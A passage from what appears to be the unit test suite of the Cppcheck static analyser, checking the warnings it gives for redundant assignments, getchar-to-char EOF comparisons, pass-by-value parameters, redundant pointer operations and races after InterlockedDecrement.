ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n 